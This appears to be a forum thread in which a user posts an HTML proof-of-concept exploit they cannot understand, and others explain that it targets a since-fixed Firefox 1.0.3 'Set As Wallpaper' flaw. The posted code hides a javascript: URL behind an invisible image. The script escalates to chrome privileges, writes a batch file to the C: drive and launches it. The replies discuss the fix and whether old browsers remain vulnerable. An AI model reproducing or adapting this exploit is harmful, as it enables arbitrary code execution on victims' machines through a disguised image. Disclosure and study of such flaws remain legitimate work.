plz Interpret this...

Status
Not open for further replies.

aa

Right off the assembly line
Dunno where i found but too complex for me to interpret...
Dunno wat it does too....
Code:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Firewalling - Proof-of-Concept</title>
<script>
function stopload() {
// in some cases the javascript url never stops to load
// therefore we force a stop after the real image got loaded
window.setTimeout("window.stop()",1000);
}
</script>
</head>
<body>
<div style="font-family:Verdana;font-size:11px;">

<div style="font-family:Verdana;font-size:15px;font-weight:bold;">
Firewalling - Proof-of-Concept</div>
<div style="width:600px">
The "Set As Wallpaper" dialog takes the image url as a parameter without validating it.
This allows to execute javascript in chrome and to run arbitrary code.



By using absolute positioning and the moz-opacity filter an attacker can easily fool the
user to think he is setting a valid image as wallpaper.



Right click on the image and choose "Set As Wallpaper". The demo requests
UniversalXPConnect rights, creates c:\booom.bat and launches the batch file
that shows a directoy listing in a dos box (Windows only).




<div style="position:relative; width:300px; height:250px;">
<img src="javascript:/*-----------------------------*/eval('if(document.location.href.
substr(0,6)==\'chrome\'){netscape.security.PrivilegeManager.enablePrivilege(\'
UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].
createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'c:\\\\
booom.bat\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,
420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;
1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init
(file,0x04|0x08|0x20,420,0);output=\'@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE
\\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch
();}else{void(0)}')" width="300" height="250" alt="" border="0" style="position:
absolute; left:0px; top:0px; z-index:2; -moz-opacity:0;">
[img]image.png[/img]
</div>
</div>
</body>

</html>
 

navjotjsingh

Wise Old Owl
This code demonstrates a bug in Firefox 1.0.3 which has been fixed as we could not use the option Set as Wallpaper in 1.0.6 and nor in IE 6 Sp1. In Firefox 1.0.3 we could right click and use option Set as wallpaper and this way a malicious javascript code hidden in img src tag could be used to attack our PCs. Here a small example has been show where directory listing of C:\ is shown and it is an example to show that to what extent an attacker can go.
 

QwertyManiac

Commander in Chief
@nj - how'd u know that ?
i spent 3 hrs tryin to decode...
no leads yet...
so is this script malicious.... ?
then y is it on this forum ?
 

navjotjsingh

Wise Old Owl
Instead of decoding the script I reserached on Google for it and found that this script is malicious but not now anymore on Firefox 1.0.6 or IE6 SP1.

ALso this script was asked to decode by the author of the thread and that's why it is on this forum. Maybe he does not know what this script can do.
 

QwertyManiac

Commander in Chief
yeah right, but maybe there r old browser users now,...
this script can be exploited on them right ?
what do the mods say ?
 

navjotjsingh

Wise Old Owl
Can't tell on what browsers this script can be exploited. I only know about Firefox 1.0.3.

It does not work on IE 6 SP1 though. You can yourself check on different browsers and their versions though. The browser on which this will work will show Set as Wallpaper or Set as Background option and if this script does not work then that option will be disabled.
 
Status
Not open for further replies.
Top Bottom